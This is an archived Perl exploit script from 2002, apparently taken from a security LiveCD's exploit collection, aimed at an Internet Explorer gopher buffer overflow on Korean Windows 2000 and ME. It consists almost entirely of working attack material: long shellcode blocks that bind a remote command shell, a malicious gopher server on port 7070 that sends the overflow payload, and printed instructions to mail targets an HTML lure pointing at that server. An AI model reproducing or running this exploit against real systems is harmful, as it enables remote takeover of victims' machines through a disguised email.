home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webbrowser / IE / ie-gopher.pl < prev    next >
Perl Script  |  2005-02-12  |  17KB  |  340 lines

  1. #!/usr/bin/perl
  2. #
  3. # mat@monkey.org
  4. # 2002.7.27
  5. # IE gopher buffer overflow exploit
  6. # only tested with my W2k Korean and Wme Korean windows OS...
  7. # you maybe have to change some addresses with your installations...
  8. #
  9. my $w2k_sp2_kor="w2k_sp2_kor";
  10. my $w2k_kor="w2k_kor";
  11. my $wme_kor="wme_kor";
  12.  
  13. #choose which OS this script will support(?)
  14. my $os_str=$wme_kor;
  15. $os_str=$w2k_sp2_kor;
  16. $os_str=$w2k_kor;
  17.  
  18. #for w2k_sp2_kor
  19. #shellcode from Deepzone.com
  20. # portshell on 8008
  21. # (LoadLibrary: 40100c GetProcAddress: 401000)
  22. my
  23. $DeepZone_w32ShellCode_for_w2k_kor="\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33
  24. \xc9\xb1\x1c\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04\x90\x90\x90
  25. \xac\x34\x99\xaa\xe2\xfa\x71\x99\x99\x99\x99\xc4\x18\x74\x40\xb8\xd9\x99\x14\x2c
  26. \x6b\xbd\xd9\x99\x14\x24\x63\xbd\xd9\x99\xf3\x9e\x09\x09\x09\x09\xc0\x71\x4b\x9b
  27. \x99\x99\x14\x2c\xb3\xbc\xd9\x99\x14\x24\xaa\xbc\xd9\x99\xf3\x93\x09\x09\x09\x09
  28. \xc0\x71\x23\x9b\x99\x99\xf3\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x7c\xbc\xd9
  29. \x99\xcf\x14\x2c\x70\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9\x99\xf3\x99\x14\x2c\x40
  30. \xbc\xd9\x99\xcf\x14\x2c\x74\xbc\xd9\x99\xcf\x14\x2c\x68\xbc\xd9\x99\xcf\x66\x0c
  31. \xaa\xbc\xd9\x99\x5e\x1c\x6c\xbc\xd9\x99\xdd\x99\x99\x99\x14\x2c\x6c\xbc\xd9\x99
  32. \xcf\x66\x0c\xae\xbc\xd9\x99\x14\x2c\xb4\xbf\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9
  33. \x99\x14\x2c\xa8\xbf\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\x68\xbc\xd9
  34. \x99\x14\x24\xb4\xbf\xd9\x99\x3c\x14\x2c\x7c\xbc\xd9\x99\x34\x14\x24\xa8\xbf\xd9
  35. \x99\x32\x14\x24\xac\xbf\xd9\x99\x32\x5e\x1c\xbc\xbf\xd9\x99\x99\x99\x99\x99\x5e
  36. \x1c\xb8\xbf\xd9\x99\x98\x98\x99\x99\x14\x2c\xa0\xbf\xd9\x99\xcf\x14\x2c\x6c\xbc
  37. \xd9\x99\xcf\xf3\x99\xf3\x99\xf3\x89\xf3\x98\xf3\x99\xf3\x99\x14\x2c\xd0\xbf\xd9
  38. \x99\xcf\xf3\x99\x66\x0c\xa2\xbc\xd9\x99\xf1\x99\xb9\x99\x99\x09\xf1\x99\x9b\x99
  39. \x99\x66\x0c\xda\xbc\xd9\x99\x10\x1c\xc8\xbf\xd9\x99\xaa\x59\xc9\xd9\xc9\xd9\xc9
  40. \x66\x0c\x63\xbd\xd9\x99\xc9\xc2\xf3\x89\x14\x2c\x50\xbc\xd9\x99\xcf\xca\x66\x0c
  41. \x67\xbd\xd9\x99\xf3\x9a\xca\x66\x0c\x9b\xbc\xd9\x99\x14\x2c\xcc\xbf\xd9\x99\xcf
  42. \x14\x2c\x50\xbc\xd9\x99\xcf\xca\x66\x0c\x9f\xbc\xd9\x99\x14\x24\xc0\xbf\xd9\x99
  43. \x32\xaa\x59\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14\x2c\x70\xbc\xd9\x99
  44. \x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xa9\x66\x0c\xd6\xbc\xd9\x99\x72\xd4\x09\x09
  45. \x09\xaa\x59\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14\x2c\x70\xbc\xd9\x99
  46. \x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\x1a\x24\xfc\xbf
  47. \xd9\x99\x9b\x96\x1b\x8e\x98\x99\x99\x18\x24\xfc\xbf\xd9\x99\x98\xb9\x99\x99\xeb
  48. \x97\x09\x09\x09\x09\x5e\x1c\xfc\xbf\xd9\x99\x99\xb9\x99\x99\xf3\x99\x12\x1c\xfc
  49. \xbf\xd9\x99\x14\x24\xfc\xbf\xd9\x99\xce\xc9\x12\x1c\xc8\xbf\xd9\x99\xc9\x14\x2c
  50. \x70\xbc\xd9\x99\x34\xc9\x66\x0c\xde\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99
  51. \x12\x1c\xfc\xbf\xd9\x99\xf3\x99\xc9\x14\x2c\xc8\xbf\xd9\x99\x34\xc9\x14\x2c\xc0
  52. \xbf\xd9\x99\x34\xc9\x66\x0c\x93\xbc\xd9\x99\xf3\x99\x14\x24\xfc\xbf\xd9\x99\xce
  53. \xf3\x99\xf3\x99\xf3\x99\x14\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99
  54. \xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\xaa\x50\xa0\x14\xfc\xbf\xd9\x99\x96\x1e\xfe\x66
  55. \x66\x66\xf3\x99\xf1\x99\xb9\x99\x99\x09\x14\x2c\xc8\xbf\xd9\x99\x34\xc9\x14\x2c
  56. \xc0\xbf\xd9\x99\x34\xc9\x66\x0c\x97\xbc\xd9\x99\x10\x1c\xf8\xbf\xd9\x99\xf3\x99
  57. \x14\x24\xfc\xbf\xd9\x99\xce\xc9\x14\x2c\xc8\xbf\xd9\x99\x34\xc9\x14\x2c\x74\xbc
  58. \xd9\x99\x34\xc9\x66\x0c\xd2\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\xf3\x99
  59. \x12\x1c\xf8\xbf\xd9\x99\x14\x24\xfc\xbf\xd9\x99\xce\xc9\x12\x1c\xc8\xbf\xd9\x99
  60. \xc9\x14\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c\xde\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6
  61. \xbc\xd9\x99\x70\x20\x67\x66\x66\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66\x0c\x8b\xbc
  62. \xd9\x99\x14\x2c\xc4\xbf\xd9\x99\x34\xc9\x66\x0c\x8b\xbc\xd9\x99\xf3\x99\x66\x0c
  63. \xce\xbc\xd9\x99\xc8\xcf\xf1\x95\x89\xd9\x99\x09\xc3\x66\x8b\xc9\xc2\xc0\xce\xc7
  64. \xc8\xcf\xca\xf1\x99\x89\xd9\x99\x09\xc3\x66\x8b\xc9\x35\x1d\x59\xec\x62\xc1\x32
  65. \xc0\x7b\x70\x5a\xce\xca\xd6\xda\xd2\xaa\xab\x99\xea\xf6\xfa\xf2\xfc\xed\x99\xfb
  66. \xf0\xf7\xfd\x99\xf5\xf0\xea\xed\xfc\xf7\x99\xf8\xfa\xfa\xfc\xe9\xed\x99\xea\xfc
  67. \xf7\xfd\x99\xeb\xfc\xfa\xef\x99\xfa\xf5\xf6\xea\xfc\xea\xf6\xfa\xf2\xfc\xed\x99
  68. \xd2\xdc\xcb\xd7\xdc\xd5\xaa\xab\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xf0\xe9\xfc\x99
  69. \xde\xfc\xed\xca\xed\xf8\xeb\xed\xec\xe9\xd0\xf7\xff\xf6\xd8\x99\xda\xeb\xfc\xf8
  70. \xed\xfc\xc9\xeb\xf6\xfa\xfc\xea\xea\xd8\x99\xc9\xfc\xfc\xf2\xd7\xf8\xf4\xfc\xfd
  71. \xc9\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8\xf5\xd8\xf5\xf5\xf6\xfa\x99\xcb\xfc\xf8
  72. \xfd\xdf\xf0\xf5\xfc\x99\xce\xeb\xf0\xed\xfc\xdf\xf0\xf5\xfc\x99\xca\xf5\xfc\xfc
  73. \xe9\x99\xda\xf5\xf6\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xdc\xe1\xf0\xed\xc9\xeb
  74. \xf6\xfa\xfc\xea\xea\x99\xda\xf6\xfd\xfc\xfd\xb9\xfb\xe0\xb9\xe5\xc3\xf8\xf7\xb9
  75. \xa5\xf0\xe3\xf8\xf7\xd9\xfd\xfc\xfc\xe9\xe3\xf6\xf7\xfc\xb7\xf6\xeb\xfe\xa7\x9b
  76. \x99\x86\xd1\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x95\x99\x99\x99\x99
  77. \x99\x99\x99\x98\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99
  78. \x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99
  79. \x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99
  80. \x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99
  81. \x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99
  82. \x99\x99\x99\x99\x99\x99\x99\xda\xd4\xdd\xb7\xdc\xc1\xdc\x99\x99\x99\x99\x99\x89
  83. \x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x90
  84. \x90\x90\x90\x90\x90";
  85.  
  86. #for w2k_me
  87. #shellcode from Deepzone.com
  88. # portshell on 8008
  89. # (LoadLibrary: 4011F4 GetProcAddress: 401204)
  90. my
  91. $DeepZone_w32ShellCode_for_wme_kor="\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33
  92. \xc9\xb1\x1c\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04\x90\x90\x90
  93. \xac\x34\x99\xaa\xe2\xfa\x71\x99\x99\x99\x99\xc4\x18\x74\x40\xb8\xd9\x99\x14\x2c
  94. \x6b\xbd\xd9\x99\x14\x24\x63\xbd\xd9\x99\xf3\x9e\x09\x09\x09\x09\xc0\x71\x4b\x9b
  95. \x99\x99\x14\x2c\xb3\xbc\xd9\x99\x14\x24\xaa\xbc\xd9\x99\xf3\x93\x09\x09\x09\x09
  96. \xc0\x71\x23\x9b\x99\x99\xf3\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x7c\xbc\xd9
  97. \x99\xcf\x14\x2c\x70\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9\x99\xf3\x99\x14\x2c\x40
  98. \xbc\xd9\x99\xcf\x14\x2c\x74\xbc\xd9\x99\xcf\x14\x2c\x68\xbc\xd9\x99\xcf\x66\x0c
  99. \xaa\xbc\xd9\x99\x5e\x1c\x6c\xbc\xd9\x99\xdd\x99\x99\x99\x14\x2c\x6c\xbc\xd9\x99
  100. \xcf\x66\x0c\xae\xbc\xd9\x99\x14\x2c\xb4\xbf\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9
  101. \x99\x14\x2c\xa8\xbf\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\x68\xbc\xd9
  102. \x99\x14\x24\xb4\xbf\xd9\x99\x3c\x14\x2c\x7c\xbc\xd9\x99\x34\x14\x24\xa8\xbf\xd9
  103. \x99\x32\x14\x24\xac\xbf\xd9\x99\x32\x5e\x1c\xbc\xbf\xd9\x99\x99\x99\x99\x99\x5e
  104. \x1c\xb8\xbf\xd9\x99\x98\x98\x99\x99\x14\x2c\xa0\xbf\xd9\x99\xcf\x14\x2c\x6c\xbc
  105. \xd9\x99\xcf\xf3\x99\xf3\x99\xf3\x89\xf3\x98\xf3\x99\xf3\x99\x14\x2c\xd0\xbf\xd9
  106. \x99\xcf\xf3\x99\x66\x0c\xa2\xbc\xd9\x99\xf1\x99\xb9\x99\x99\x09\xf1\x99\x9b\x99
  107. \x99\x66\x0c\xda\xbc\xd9\x99\x10\x1c\xc8\xbf\xd9\x99\xaa\x59\xc9\xd9\xc9\xd9\xc9
  108. \x66\x0c\x63\xbd\xd9\x99\xc9\xc2\xf3\x89\x14\x2c\x50\xbc\xd9\x99\xcf\xca\x66\x0c
  109. \x67\xbd\xd9\x99\xf3\x9a\xca\x66\x0c\x9b\xbc\xd9\x99\x14\x2c\xcc\xbf\xd9\x99\xcf
  110. \x14\x2c\x50\xbc\xd9\x99\xcf\xca\x66\x0c\x9f\xbc\xd9\x99\x14\x24\xc0\xbf\xd9\x99
  111. \x32\xaa\x59\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14\x2c\x70\xbc\xd9\x99
  112. \x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xa9\x66\x0c\xd6\xbc\xd9\x99\x72\xd4\x09\x09
  113. \x09\xaa\x59\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14\x2c\x70\xbc\xd9\x99
  114. \x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\x1a\x24\xfc\xbf
  115. \xd9\x99\x9b\x96\x1b\x8e\x98\x99\x99\x18\x24\xfc\xbf\xd9\x99\x98\xb9\x99\x99\xeb
  116. \x97\x09\x09\x09\x09\x5e\x1c\xfc\xbf\xd9\x99\x99\xb9\x99\x99\xf3\x99\x12\x1c\xfc
  117. \xbf\xd9\x99\x14\x24\xfc\xbf\xd9\x99\xce\xc9\x12\x1c\xc8\xbf\xd9\x99\xc9\x14\x2c
  118. \x70\xbc\xd9\x99\x34\xc9\x66\x0c\xde\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99
  119. \x12\x1c\xfc\xbf\xd9\x99\xf3\x99\xc9\x14\x2c\xc8\xbf\xd9\x99\x34\xc9\x14\x2c\xc0
  120. \xbf\xd9\x99\x34\xc9\x66\x0c\x93\xbc\xd9\x99\xf3\x99\x14\x24\xfc\xbf\xd9\x99\xce
  121. \xf3\x99\xf3\x99\xf3\x99\x14\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99
  122. \xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\xaa\x50\xa0\x14\xfc\xbf\xd9\x99\x96\x1e\xfe\x66
  123. \x66\x66\xf3\x99\xf1\x99\xb9\x99\x99\x09\x14\x2c\xc8\xbf\xd9\x99\x34\xc9\x14\x2c
  124. \xc0\xbf\xd9\x99\x34\xc9\x66\x0c\x97\xbc\xd9\x99\x10\x1c\xf8\xbf\xd9\x99\xf3\x99
  125. \x14\x24\xfc\xbf\xd9\x99\xce\xc9\x14\x2c\xc8\xbf\xd9\x99\x34\xc9\x14\x2c\x74\xbc
  126. \xd9\x99\x34\xc9\x66\x0c\xd2\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\xf3\x99
  127. \x12\x1c\xf8\xbf\xd9\x99\x14\x24\xfc\xbf\xd9\x99\xce\xc9\x12\x1c\xc8\xbf\xd9\x99
  128. \xc9\x14\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c\xde\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6
  129. \xbc\xd9\x99\x70\x20\x67\x66\x66\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66\x0c\x8b\xbc
  130. \xd9\x99\x14\x2c\xc4\xbf\xd9\x99\x34\xc9\x66\x0c\x8b\xbc\xd9\x99\xf3\x99\x66\x0c
  131. \xce\xbc\xd9\x99\xc8\xcf\xf1\x6d\x88\xd9\x99\x09\xc3\x66\x8b\xc9\xc2\xc0\xce\xc7
  132. \xc8\xcf\xca\xf1\x9d\x8b\xd9\x99\x09\xc3\x66\x8b\xc9\x35\x1d\x59\xec\x62\xc1\x32
  133. \xc0\x7b\x70\x5a\xce\xca\xd6\xda\xd2\xaa\xab\x99\xea\xf6\xfa\xf2\xfc\xed\x99\xfb
  134. \xf0\xf7\xfd\x99\xf5\xf0\xea\xed\xfc\xf7\x99\xf8\xfa\xfa\xfc\xe9\xed\x99\xea\xfc
  135. \xf7\xfd\x99\xeb\xfc\xfa\xef\x99\xfa\xf5\xf6\xea\xfc\xea\xf6\xfa\xf2\xfc\xed\x99
  136. \xd2\xdc\xcb\xd7\xdc\xd5\xaa\xab\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xf0\xe9\xfc\x99
  137. \xde\xfc\xed\xca\xed\xf8\xeb\xed\xec\xe9\xd0\xf7\xff\xf6\xd8\x99\xda\xeb\xfc\xf8
  138. \xed\xfc\xc9\xeb\xf6\xfa\xfc\xea\xea\xd8\x99\xc9\xfc\xfc\xf2\xd7\xf8\xf4\xfc\xfd
  139. \xc9\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8\xf5\xd8\xf5\xf5\xf6\xfa\x99\xcb\xfc\xf8
  140. \xfd\xdf\xf0\xf5\xfc\x99\xce\xeb\xf0\xed\xfc\xdf\xf0\xf5\xfc\x99\xca\xf5\xfc\xfc
  141. \xe9\x99\xda\xf5\xf6\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xdc\xe1\xf0\xed\xc9\xeb
  142. \xf6\xfa\xfc\xea\xea\x99\xda\xf6\xfd\xfc\xfd\xb9\xfb\xe0\xb9\xe5\xc3\xf8\xf7\xb9
  143. \xa5\xf0\xe3\xf8\xf7\xd9\xfd\xfc\xfc\xe9\xe3\xf6\xf7\xfc\xb7\xf6\xeb\xfe\xa7\x9b
  144. \x99\x86\xd1\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x95\x99\x99\x99\x99
  145. \x99\x99\x99\x98\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99
  146. \x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99
  147. \x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99
  148. \x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99
  149. \x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99
  150. \x99\x99\x99\x99\x99\x99\x99\xda\xd4\xdd\xb7\xdc\xc1\xdc\x99\x99\x99\x99\x99\x89
  151. \x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x90
  152. \x90\x90\x90\x90\x90";
  153.  
  154. #shellcode below is not so portable
  155. #hard coded LoadLibrary and GetProcAddress Address...
  156. #for w2k
  157. my
  158. $portbind_1367_shellcode_for_w2k_kor="\x55\x8b\xec\x33\xc0\xb0\xf0\xf7\xd8\x03\x
  159. e0\x8b\xfc\x33\xc9\x89\x8d\x2c\xff\xff\xff\xb8\x6b\x65\x72\x6e\xab\xb8\x65\x6c\x
  160. 33\x32\xab\x32\xc0\xaa\xb8\x77\x73\x6f\x63\xab\xb8\x6b\x33\x32\x2e\xab\x4f\x32\x
  161. c0\xaa\x8d\x7d\x80\xb8\x63\x6d\x64\x2e\xab\x32\xc0\x4f\xaa\xb8\x54\xa2\xe5\x77\x
  162. 8d\x9d\x10\xff\xff\xff\x53\xff\xd0\x89\x45\xfc\xb8\x54\xa2\xe5\x77\x8d\x9d\x19\x
  163. ff\xff\xff\x53\xff\xd0\x89\x45\xf8\xbb\xc1\x9a\xe5\x77\x6a\x47\xff\x75\xfc\xff\x
  164. d3\x89\x45\xf4\x6a\x48\xff\x75\xfc\xff\xd3\x89\x45\xf0\x33\xf6\x66\xbe\x1d\x02\x
  165. 56\xff\x75\xfc\xff\xd3\x89\x45\xec\x66\xbe\x3e\x02\x56\xff\x75\xfc\xff\xd3\x89\x
  166. 45\xe8\x66\xbe\x0f\x03\x56\xff\x75\xfc\xff\xd3\x89\x45\xe4\x66\xbe\x9d\x01\x56\x
  167. ff\x75\xfc\xff\xd3\x89\x85\x34\xff\xff\xff\x66\xbe\xc4\x02\x56\xff\x75\xfc\xff\x
  168. d3\x89\x85\x28\xff\xff\xff\x33\xc0\xb0\x8d\x50\xff\x75\xfc\xff\xd3\x89\x85\x18\x
  169. ff\xff\xff\x6a\x73\xff\x75\xf8\xff\xd3\x89\x45\xe0\x6a\x17\xff\x75\xf8\xff\xd3\x
  170. 89\x45\xdc\x6a\x02\xff\x75\xf8\xff\xd3\x89\x45\xd8\x33\xc0\xb0\x0e\x48\x50\xff\x
  171. 75\xf8\xff\xd3\x89\x45\xd4\x6a\x01\xff\x75\xf8\xff\xd3\x89\x45\xd0\x6a\x13\xff\x
  172. 75\xf8\xff\xd3\x89\x45\xcc\x6a\x10\xff\x75\xf8\xff\xd3\x89\x45\xc8\x6a\x03\xff\x
  173. 75\xf8\xff\xd3\x89\x85\x1c\xff\xff\xff\x8d\x7d\xa0\x32\xe4\xb0\x02\x66\xab\x66\x
  174. b8\x05\x57\x66\xab\x33\xc0\xab\xf7\xd0\xab\xab\x8d\x7d\x8c\x33\xc0\xb0\x0e\xfe\x
  175. c8\xfe\xc8\xab\x33\xc0\xab\x40\xab\x8d\x45\xb0\x50\x33\xc0\x66\xb8\x01\x01\x50\x
  176. ff\x55\xe0\x33\xc0\x50\x6a\x01\x6a\x02\xff\x55\xdc\x89\x45\xc4\x6a\x10\x8d\x45\x
  177. a0\x50\xff\x75\xc4\xff\x55\xd8\x6a\x01\xff\x75\xc4\xff\x55\xd4\x33\xc0\x50\x50\x
  178. ff\x75\xc4\xff\x55\xd0\x89\x45\xc0\x33\xff\x57\x8d\x45\x8c\x50\x8d\x45\x98\x50\x
  179. 8d\x45\x9c\x50\xff\x55\xf4\x33\xff\x57\x8d\x45\x8c\x50\x8d\x45\x90\x50\x8d\x45\x
  180. 94\x50\xff\x55\xf4\xfc\x8d\xbd\x38\xff\xff\xff\x33\xc9\xb1\x44\x32\xc0\xf3\xaa\x
  181. 8d\xbd\x38\xff\xff\xff\x33\xc0\x66\xb8\x01\x01\x89\x47\x2c\x8b\x45\x94\x89\x47\x
  182. 38\x8b\x45\x98\x89\x47\x40\x89\x47\x3c\xb8\xf0\xff\xff\xff\x33\xdb\x03\xe0\x8b\x
  183. c4\x50\x8d\x85\x38\xff\xff\xff\x50\x53\x53\x53\x6a\x01\x53\x53\x8d\x4d\x80\x51\x
  184. 53\xff\x55\xf0\x33\xc0\xb4\x04\x50\x6a\x40\xff\x95\x34\xff\xff\xff\x89\x85\x30\x
  185. ff\xff\xff\x90\x33\xdb\x53\x8d\x85\x2c\xff\xff\xff\x50\x53\x53\x53\xff\x75\x9c\x
  186. ff\x55\xec\x8b\x85\x2c\xff\xff\xff\x85\xc0\x74\x49\x33\xdb\x53\xb7\x04\x8d\x85\x
  187. 2c\xff\xff\xff\x50\x53\xff\xb5\x30\xff\xff\xff\xff\x75\x9c\xff\x55\xe8\x85\xc0\x
  188. 74\x6d\x33\xc0\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\xff\xff\xff\xff\x75\xc0\x
  189. ff\x55\xcc\x83\xf8\xff\x74\x53\xeb\x10\x90\x90\x90\x90\x90\x90\x6a\x32\xff\x95\x
  190. 28\xff\xff\xff\xeb\x99\x90\x90\x33\xc0\x50\xb4\x04\x50\xff\xb5\x30\xff\xff\xff\x
  191. ff\x75\xc0\xff\x55\xc8\x83\xf8\xff\x74\x28\x89\x85\x2c\xff\xff\xff\x33\xc0\x50\x
  192. 8d\x85\x2c\xff\xff\xff\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\xff\xff\xff\xff\x
  193. 75\x90\xff\x55\xe4\x85\xc0\x74\x02\xeb\xb4\xff\x75\xc4\xff\x95\x1c\xff\xff\xff\x
  194. ff\x75\xc0\xff\x95\x1c\xff\xff\xff\x6a\xff\xff\x95\x18\xff\xff\xff";
  195.  
  196. printf "Starting eat_gopher[IE gopher BOF exploit]...\r\n";
  197. printf " <mat\@monkey.org>\r\n";
  198. printf " Send target mail with html like this:
  199. ------------------------------------------------------------------
  200. <html>
  201. <body>
  202. <img src=gopher://<ipaddress>:7070/11/%09%09%2b>
  203. Are you gopher?
  204. I am eat_gopher!
  205. </body>
  206. </html>
  207. ------------------------------------------------------------------
  208. ";
  209.  
  210. require 5.002;
  211. use strict;
  212. use Socket;
  213. use Carp;
  214.  
  215. sub spawn;
  216. sub send_gopher_plus_exploit_reply;
  217.  
  218. my $port=7070;
  219. my $proto=getprotobyname('tcp');
  220. socket(Server,PF_INET,SOCK_STREAM,$proto) || die "socket: $!";
  221. setsockopt(Server,SOL_SOCKET,SO_REUSEADDR,pack("l",1)) || die "setsockopt: $!";
  222. bind(Server,sockaddr_in($port,INADDR_ANY)) || die "bind: $!";
  223. listen(Server,SOMAXCONN) || die "listen: $!";
  224.  
  225. printf "Listening on $port...\n";
  226.  
  227. my $waitedpid=0;
  228. my $paddr;
  229.  
  230. sub REAPER {
  231.     $waitedpid=wait;
  232.     $SIG{CHLD}=\&REAPER;
  233. }
  234. $SIG{CHLD}=\&REAPER;
  235.  
  236. for($waitedpid=0;($paddr=accept(Client,Server))||$waitedpid;$waitedpid=0,close
  237. Client)
  238. {
  239.     next if $waitedpid and not $paddr;
  240.     my ($port,$iaddr)=sockaddr_in($paddr);
  241.     my $addr_str=inet_ntoa($iaddr);
  242.     my $name=gethostbyaddr($iaddr,AF_INET);
  243.     printf "got connection: $name: $addr_str\n";
  244.  
  245.     spawn sub{
  246.         while(<STDIN>)
  247.         {
  248.             send_gopher_plus_exploit_reply;
  249.             last;
  250.         }
  251.     }
  252. }
  253.  
  254. sub spawn {
  255.     my $coderef=shift;
  256.     unless(@_ == 0 && $coderef && ref($coderef) eq 'CODE'){
  257.         printf "what the hell??\n";
  258.         confess "usage: spawn CODEREF";
  259.     }
  260.     my $pid;
  261.     if(!defined($pid=fork)){
  262.         return;
  263.     }elsif($pid)
  264.     {
  265.         return; #parent
  266.     }
  267.     #child
  268.     open(STDIN,"<&Client") || die "can't dup client to stdin";
  269.     open(STDOUT,">&Client") || die "can't dup client to stdout";
  270.     exit &$coderef();
  271. }
  272.  
  273. sub send_gopher_plus_exploit_reply
  274. {
  275.     my $send_buffer="+-2\r\n+INFO:
  276. 1helllo\tyou\thohst\t70\t+\r\n+ADMIN:\r\nAdmin: mat
  277. <mat\@monkey.org>\r\nMod-Date: August 15,1992 <19920815185503>\r\n+VIEWS:\r\n%s
  278. <hi>\r\n+ABSTRACT:\r\nThe shellcode:%s";
  279.     #my $send_buffer="+-2\r\n+INFO: 1t\they\thost\t70\t+\r\n+VIEWS:\r\n%s
  280. <hi>\r\n%s";
  281.  
  282.     my $fillup_str1="A"x216;
  283.     my $ool_flag=pack("L",0x00000001); #not matters(for testing)
  284.     my $fillup_str2="A"x8;
  285.     my $get_line_ret=pack("L",0x00002F65); #not matters(for testing)
  286.     my $end_part="C"x12;
  287.     my
  288. $fillup_str="${fillup_str1}${ool_flag}${fillup_str2}${get_line_ret}${end_part}";
  289.  
  290.  
  291.     #call esp(FF E4)
  292.     #our code jumps to esp
  293.     my $retaddr;
  294.     if($os_str eq $w2k_sp2_kor || $os_str eq $w2k_kor)
  295.     {
  296.         $retaddr=pack("L",0x70426e70); #w2k SP2 Korean Version
  297.     }elsif($os_str eq $wme_kor)
  298.     {
  299.         $retaddr=pack("L",0x75ff875b); #wme Korean Version
  300.     }
  301.  
  302.     my $additional_str="X"x8;
  303.  
  304.     my $bootcode=""; #go to the shellcode position! by looking up a
  305. variable in the stack(which is hMemHandle) and following the structure... This
  306. is caused by the gopher code can't process more than 1024 bytes in a line.
  307.     if($os_str eq $w2k_sp2_kor)
  308.     {
  309.     
  310. #$bootcode="\x8b\x84\x24\x1c\x01\x00\x00\x8b\x78\x24\x8b\x57\x14\x81\xc2\xaf\x01
  311. \x00\x00\xff\xe2";  # in sometime this code can't be used~
  312.     
  313. $bootcode="\x8b\x7e\x24\x8b\x57\x14\x81\xc2\xa8\x01\x00\x00\xff\xe2"; # this
  314. works always..
  315.     }elsif($os_str eq $w2k_kor)
  316.     {
  317.     
  318. $bootcode="\x8b\x7e\x24\x8b\x57\x14\x81\xc2\xa8\x01\x00\x00\xff\xe2";
  319.     }elsif($os_str eq $wme_kor)
  320.     {
  321.     
  322. $bootcode="\x8b\x7e\x24\x8b\x57\x14\x81\xc2\xa8\x01\x00\x00\xff\xe2";
  323.     }
  324.     my $exploit_str="$fillup_str$retaddr$additional_str$bootcode";
  325.  
  326.     my $shellcode="";
  327.     if($os_str eq $w2k_sp2_kor || $os_str eq $w2k_kor)
  328.     {
  329.         $shellcode=$DeepZone_w32ShellCode_for_w2k_kor;
  330.     }elsif($os_str eq $wme_kor)
  331.     {
  332.         $shellcode=$DeepZone_w32ShellCode_for_wme_kor;
  333.     }
  334.     printf $send_buffer,$exploit_str,$shellcode;
  335. }
  336.  
  337.  
  338.  
  339.  
  340.